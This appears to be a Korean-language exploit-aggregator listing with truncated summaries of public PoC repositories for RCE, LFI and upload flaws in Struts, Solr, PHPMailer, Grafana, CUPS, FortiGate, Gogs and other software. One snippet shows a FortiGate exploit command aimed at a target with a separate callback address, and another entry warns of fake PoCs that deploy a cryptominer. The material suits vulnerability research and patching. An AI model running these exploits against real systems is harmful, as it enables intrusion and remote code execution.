s2-067-CVE-2024-53677

s2-067-CVE-2024-53677 s2-067CVE-2024-53677 요약 파일 업로드 로직에 결함이 있어 공격자가 경로 순회를 활성화할 수 있으며, 이는 S2-066에서 보고된 것과 유사한 문제입니다. 이 문서를 읽어야 하는 대상 모든 Struts 2 개발자 및 사용자 취약점 영향 원격 코드 실행 최대 보안 등급 치명적Critical 권장 사항 Struts 6.4.0 이상으로 업그레이드하고 Action File Upload Interceptor를 사용하십시오. 영향을 받는 소프트웨어 Struts 2.0.0 - Stru...

CVE-2022-39197-RCE

CVE-2022-39197-RCE 첫째 이 프로젝트는 @its-arun의 프로젝트 https://github.com/its-arun/CVE-2022-39197 에서 수정되었습니다. 스크립트를 테스트했을 때, frida 스크립트가 정상적인 순서로 데이터를 조회할 수 없다는 것을 발견했습니다. frida 스크립트를 수정하여 프로세스 이름을 수정하는 방식입니다. 이용 방법에 대한 기여를 해주신 Master @Kai5174 님께 감사드립니다. 사용법 Payload 준비 1. EvilJar/src/main/java/Exploit.jav...

cve-2017-12629

README Apache Solr 7.1 이전 버전과 Apache Lucene 7.1 이전 버전에서는 Config API add-listener 명령과 함께 XXE를 악용하여 RunExecutableListener 클래스에 도달함으로써 원격 코드 실행이 발생합니다. Elasticsearch는 Lucene을 사용하지만 이 취약점에는 영향받지 않습니다. XML 외부 엔티티 확장 취약점은 기본적으로 deftype=xmlparser 매개변수를 가진 모든 쿼리 요청에서 사용할 수 있는 XML Query Parser에서 발생하며,...

CVE-2022-40471

CVE-2022-40471 Clinic's Patient Management System v 1.0의 무제한 파일 업로드 취약점을 통한 원격 코드 실행 기술 설명: Clinic's Patient Management System v 1.0의 원격 코드 실행 취약점으로 인해 공격자는 users.php의 프로필 사진 업로드 기능을 통해 임의의 PHP 웹쉘을 업로드할 수 있습니다. 영향을 받는 구성 요소 - 소스 코드 다음 소스 코드에서 개발자가 특정 확장자를 제한하지 않고 모든 미디어 파일을 직접 업로드하도록 허용하는 것을 볼 수...

CVE-2024-2053

로그 포이즈닝을 통한 LFI to RCE 익스플로잇 CVE-2024-2053 Artica Proxy용 Python3 익스플로잇 📝 설명 이 Python3 스크립트는 로그 포이즈닝 기법을 통해 LFI로컬 파일 포함 취약점을 악용하여 RCE원격 코드 실행를 달성합니다. Artica Proxy CVE-2024-2053를 위해 특별히 설계되었지만 다른 LFI 시나리오에도 적용할 수 있습니다. ⚡ 기능 다양한 LFI 테스트 벡터 /etc/passwd, /proc/self/environ 탐지 회피를 위한 4가지 PHP 페이로드 변형 자동...

CVE-2024-5932

이 게시물은 EQSTLab이 발행한 연구 문서입니다. ❗❗ 중요 ❗❗ 현재 xmrig를 실행하는 가짜 PoC GitHub 저장소가 있습니다. 자세한 내용은 아래 링크를 확인하세요 : URL1: https://x.com/win3zz/status/1828704644987511107 URL2: https://x.com/bornunique911/status/1828712791844524453 URL3: https://x.com/Chocapikk/status/1828801346637856841 CVE-2024-5932 ★...

exploit-CVE-2016-10033

PHPMailer 5.2.18 원격 코드 실행 PHPMailer는 전 세계에서 가장 인기 있는 전송 클래스로, 전 세계적으로 약 900만 명의 사용자가 있는 것으로 추정됩니다. 다운로드는 매일 상당한 속도로 계속되고 있습니다. WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! 등 많은 오픈 소스 프로젝트에서 사용됩니다. PHPMailer 5.2.18 이전 버전에는 원격 코드 실행RCE으로 이어질 수 있는 취약점이 있습니다. PHPMailer의 isMail 전송 방식에 있는 mailSend 함...

CVE-2024-9264

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC CVE-2024-9264에 대한 Python 개념 증명PoC입니다. 이는 Grafana SQL Expressions 취약점으로, Grafana 프로세스 PATH에 duckdb가 존재할 때 인증된 로컬 파일 포함LFI 및 명령 실행을 허용할 수 있습니다. 승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오. 기능 설명 root@kitploit:...

CVE-2023-41892

CVE-2023-41892 Craft CMS에서 원격 코드 실행RCE을 허용하는 취약점입니다...

Cups-RCE-Exploit

CUPS RCE 익스플로잇 - CVE-2024-47176 체인 개요 2024년 9월에 발견된 CUPSCommon Unix Printing System 원격 코드 실행 취약점 체인을 대상으로 하는 완전히 동작하는 개념 증명 익스플로잇입니다. 이 체인은 CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177 네 가지 CVE로 구성되며, 이들이 결합되어 취약한 버전의 CUPS를 실행 중인 모든 Linux 시스템에서 인증되지 않은 원격 공격자가 임의의 명령을 실행할 수 있게...

CVE-2023-27997

CVE-2023-27997 이 코드로 FortiGate VM64 7.2.0을 익스플로잇할 수 있습니다. 참고: 코드가 매우 어리석은 방식으로 작성되었습니다. 개념 증명 root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading +...

CVE-2025-8110

Gogs 임의 파일 쓰기에서 RCE로 CVE-2025-8110 - 교육용 익스플로잇 이 저장소는 자체 호스팅 Git 서비스인 Gogs버전 0.13.3 및 이전에 등록된 취약점 CVE-2025-8110 을 시연하고 분석하기 위한 Python 개념 증명PoC 스크립트를 포함하고 있습니다. ⚠️ 면책 조항 Disclaimer !WARNING 이 소프트웨어는 교육 및 보안 연구 목적으로만 제공됩니다. 이 자료를 소유자의 사전 서면 동의 없이 대상에 사용하는 것은 완전히 불법입니다. 이 저장소의 저자는 이 코드 사용으로 인한 어떠한 손해...

CVE-2022-31691

CVE-2022-31691 CVE-2022-31691에 대한 아직까지는 결론이 나지 않은 분석 기록입니다. 배경 저는 Eclipse용 Spring Tool SuiteSTS를 자주 사용하며, 새 Spring Boot 프로젝트를 초기화할 때 주로 여기에 의존합니다. 이 취약점https://tanzu.vmware.com/security/cve-2022-31691 참조은 yaml 구성 파일에서 콘텐츠를 안전하지 않게 로드함으로써 유발될 수 있는 RCE입니다. SnakeYaml은 Java에서 매우 널리 사용되는 yaml 파서이자...

CVE-2025-32433

CVE-2025-32433: Erlang/OTP의 SSH 서버 익스플로잇 정보 CVE-2025-32433: Erlang/OTP의 SSH 서버에서 인증되지 않은 공격자가 원격 코드 실행을 가능하게 하는 치명적인 결함이 발견되었습니다. 하나의 잘못된 형식의 SSH 핸드셰이크가 인증을 우회하고 SSH 프로토콜 메시지의 부적절한 처리를 악용합니다. 영향받는 버전: = OTP-27.3.2 = OTP-26.2.5.10 = OTP-25.3.2.19 설치 먼저 취약한 실습 환경을 설치해야 합니다. Docker 폴더에 가이드가 있습니다...

PoC-Apache-CVE-2021-41773-Infrastructure-LAB

Apache CVE-2021-41773 — Docker 실습 환경 PoC 보안 고지 이 저장소는 교육 및 연구 목적을 위해 통제된 Docker 실습 환경에서 공개적으로 공개되었고 패치된 취약점을 재현합니다. 이 환경은 의도적으로 취약하게 구성되어 있으며, 반드시 격리된 테스트 환경에서만 배포해야 합니다. 명시적인 승인 없이 시스템을 악용하려 시도하지 마십시오. 이 프로젝트의 목표는 취약점 분석, 악용, 및 완화 전략을 시연하는 것입니다. 경로 순회 및 원격 코드 실행 시작하기 root@kitploit: Navigate to t...

CVE-2023-50164-Apache-Struts-RCE

CVE-2023-50164-Apache-Struts-RCE를 테스트하는 데 사용할 수 있는 취약한 WAR 파일 및 도커 파일이 포함되어 있습니다. 이 도커파일과 취약한 애플리케이션은 https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE 의 리소스와 코드를 사용하여 컴파일 및 설계되었습니다. 자세한 리소스와 익스플로잇을 제공해 주신 그분께 감사드립니다. 심층 분석 및 익스플로잇 스크립트를 보려면 참조 섹션에 언급된 저장소와 블로그를 확인하세요. 취약한 파일 업로드 액션은...

CVE-2024-8353

이 글은 EQSTLab이 발행한 연구 문서입니다. 이 취약점을 발견한cuokon에게 감사드립니다. 소개 CVE-2024-5932 추가 분석 EQST Insight R&TPDF 파일. https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021 CVE-2024-8353 ★ CVE-2024-8353 임의 파일 삭제 및 RCE PoC ★ 설명 CVE-2024-8353 : GiveWP PHP 객체 주입 취약점 설명: givewp – WordPress 기...

CVE-2020-10238

HK 제작 CVE-2020-10238: comtemplates의 잘못된 액세스 제어 - RCE CVE-2020-10239: comfields SQL 필드의 잘못된 액세스 제어 - RCE 링크 https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...

CVE-2026-53921

🚨 CVE-2026-53921 - odhcpd OpenWrt odhcpd의 치명적인 스택 기반 버퍼 오버플로 원격의 인증되지 않은 스택 기반 버퍼 오버플로로, 루트 권한 으로의 잠재적 원격 코드 실행RCE을 허용합니다. 📖 개요 ⚡ 설명 CVE-2026-53921은 OpenWrt DHCPv6 서버odhcpd에 영향을 미치는 치명적인 스택 기반 버퍼 오버플로 입니다. 원격의 인증되지 않은 공격자는 특수하게 제작된 DHCPv6 REQUEST 패킷을 전송하여 메모리 손상을 유발할 수 있으며, 이는 루트 권한을 사용한 임의 코드 실행...

MAL-009

MAL-009: Linux용 Zip에서 T 및 TT 플래그의 안전하지 않은 체이닝 Linux용 Zip에서 “-TT” 플래그는 임의의 시스템 명령을 실행하는 데 사용될 수 있습니다. 이 플래그의 위험성 때문에 항상 “-T” 플래그와 동시에 사용해야 합니다. 플래그 체이닝 공격을 사용하면 zip 명령에 하나의 플래그만 삽입할 수 있어야 하는 공격자가 “-T” 및 “-TT” 플래그를 모두 삽입하고 잠재적으로 악성 코드를 실행할 수 있습니다. 개념 증명: 자세한 내용과 악용 과정은 이 PDF에서 확인할 수 있습니다. 잠재적으로 취약한...